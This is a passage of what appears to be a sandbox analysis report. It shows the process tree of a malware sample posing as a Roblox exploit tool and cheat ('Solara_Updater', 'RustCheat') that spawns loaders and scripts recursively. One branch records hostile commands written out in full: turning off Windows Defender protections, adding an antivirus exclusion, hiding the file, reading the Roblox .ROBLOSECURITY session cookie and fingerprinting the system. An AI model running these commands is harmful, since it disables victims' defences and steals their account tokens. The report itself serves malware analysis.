                                                                                                                                                                                                                                                                                      • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                        "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                        30⤵
                                                                                                                                                                                                                                                                                          PID:2260
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                    27⤵
                                                                                                                                                                                                                                                                                      PID:1200
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                        28⤵
                                                                                                                                                                                                                                                                                          PID:1708
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                            29⤵
                                                                                                                                                                                                                                                                                              PID:2068
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                              29⤵
                                                                                                                                                                                                                                                                                                PID:2372
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                              28⤵
                                                                                                                                                                                                                                                                                                PID:1588
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                  29⤵
                                                                                                                                                                                                                                                                                                    PID:2692
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                      30⤵
                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                      PID:1692
                                                                                                                                                                                                                                                                                                      • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                        "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                        31⤵
                                                                                                                                                                                                                                                                                                          PID:2360
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                    28⤵
                                                                                                                                                                                                                                                                                                      PID:2904
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                        29⤵
                                                                                                                                                                                                                                                                                                          PID:300
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                            30⤵
                                                                                                                                                                                                                                                                                                              PID:2028
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                              30⤵
                                                                                                                                                                                                                                                                                                                PID:1952
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                              29⤵
                                                                                                                                                                                                                                                                                                                PID:1292
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                  30⤵
                                                                                                                                                                                                                                                                                                                    PID:356
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                      31⤵
                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                      PID:1068
                                                                                                                                                                                                                                                                                                                      • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                        "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                        32⤵
                                                                                                                                                                                                                                                                                                                          PID:2132
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                    29⤵
                                                                                                                                                                                                                                                                                                                      PID:3032
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                        30⤵
                                                                                                                                                                                                                                                                                                                          PID:2280
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                                            31⤵
                                                                                                                                                                                                                                                                                                                              PID:832
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                              31⤵
                                                                                                                                                                                                                                                                                                                                PID:3068
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                              30⤵
                                                                                                                                                                                                                                                                                                                                PID:2944
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                  31⤵
                                                                                                                                                                                                                                                                                                                                    PID:2224
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                      cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                      32⤵
                                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                      PID:2376
                                                                                                                                                                                                                                                                                                                                      • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                        "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                        33⤵
                                                                                                                                                                                                                                                                                                                                          PID:2680
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                    30⤵
                                                                                                                                                                                                                                                                                                                                      PID:2128
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                        31⤵
                                                                                                                                                                                                                                                                                                                                          PID:2340
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                                                            32⤵
                                                                                                                                                                                                                                                                                                                                              PID:2444
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                                              32⤵
                                                                                                                                                                                                                                                                                                                                              • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                                                                              PID:2720
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                                                                                                                                                                                                "wmic.exe" csproduct get uuid
                                                                                                                                                                                                                                                                                                                                                33⤵
                                                                                                                                                                                                                                                                                                                                                  PID:1664
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                                                                                                                                                  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                                                  33⤵
                                                                                                                                                                                                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                                                  PID:2544
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'
                                                                                                                                                                                                                                                                                                                                                  33⤵
                                                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                  PID:1564
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
                                                                                                                                                                                                                                                                                                                                                  33⤵
                                                                                                                                                                                                                                                                                                                                                    PID:2420
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                                                                                                                                                                                    33⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1604
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                                                                                                                                                                                      33⤵
                                                                                                                                                                                                                                                                                                                                                        PID:2840
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                                                                                                                                                                                                        "wmic.exe" os get Caption
                                                                                                                                                                                                                                                                                                                                                        33⤵
                                                                                                                                                                                                                                                                                                                                                          PID:868
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                                                                                                                                                                                                          "wmic.exe" computersystem get totalphysicalmemory
                                                                                                                                                                                                                                                                                                                                                          33⤵
                                                                                                                                                                                                                                                                                                                                                            PID:2556
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                                                                                                                                                                                                            "wmic.exe" csproduct get uuid
                                                                                                                                                                                                                                                                                                                                                            33⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1464
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                                                                                                                                                                                              33⤵
                                                                                                                                                                                                                                                                                                                                                                PID:2436
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                                                                                                                                                                                                                "wmic" path win32_VideoController get name
                                                                                                                                                                                                                                                                                                                                                                33⤵
                                                                                                                                                                                                                                                                                                                                                                • Detects videocard installed
                                                                                                                                                                                                                                                                                                                                                                PID:1052
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause
                                                                                                                                                                                                                                                                                                                                                                33⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1752
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                                                                                                                    ping localhost
                                                                                                                                                                                                                                                                                                                                                                    34⤵
                                                                                                                                                                                                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                    PID:2860
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                              31⤵
                                                                                                                                                                                                                                                                                                                                                                PID:2172
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                  32⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:2188
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                      33⤵
                                                                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                      PID:1660
                                                                                                                                                                                                                                                                                                                                                                      • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                        34⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:2568
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                    31⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:2052
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                        32⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:1516
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                                                                                            33⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2060
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                                                                              33⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:2384
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                              32⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:1088
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                  33⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:2540
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                      34⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                      PID:2792
                                                                                                                                                                                                                                                                                                                                                                                      • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                        35⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:3060
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                    32⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:484
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                        33⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:2328
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                                                                                                            34⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:2620
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                                                                                              34⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:1080
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "wmic.exe" csproduct get uuid
                                                                                                                                                                                                                                                                                                                                                                                                  35⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:3048
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                33⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:2104
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                    34⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:2180
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                        35⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1564
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                          36⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:2368
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                      33⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1256
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                          34⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:2172
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                            34⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2688
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                35⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1880
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                    36⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1580
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                      37⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1060
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                  34⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2376
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                      35⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1716
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                        35⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1564
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                            36⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3016
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                37⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2512
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                  38⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:632
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                              35⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2408
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                  36⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2092
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                    36⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1732
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                        37⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1704
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                            38⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1376
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                              39⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1200
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                          36⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2500
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                              37⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1328
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                37⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1736
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    38⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2312
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                        39⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2172
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          40⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2320
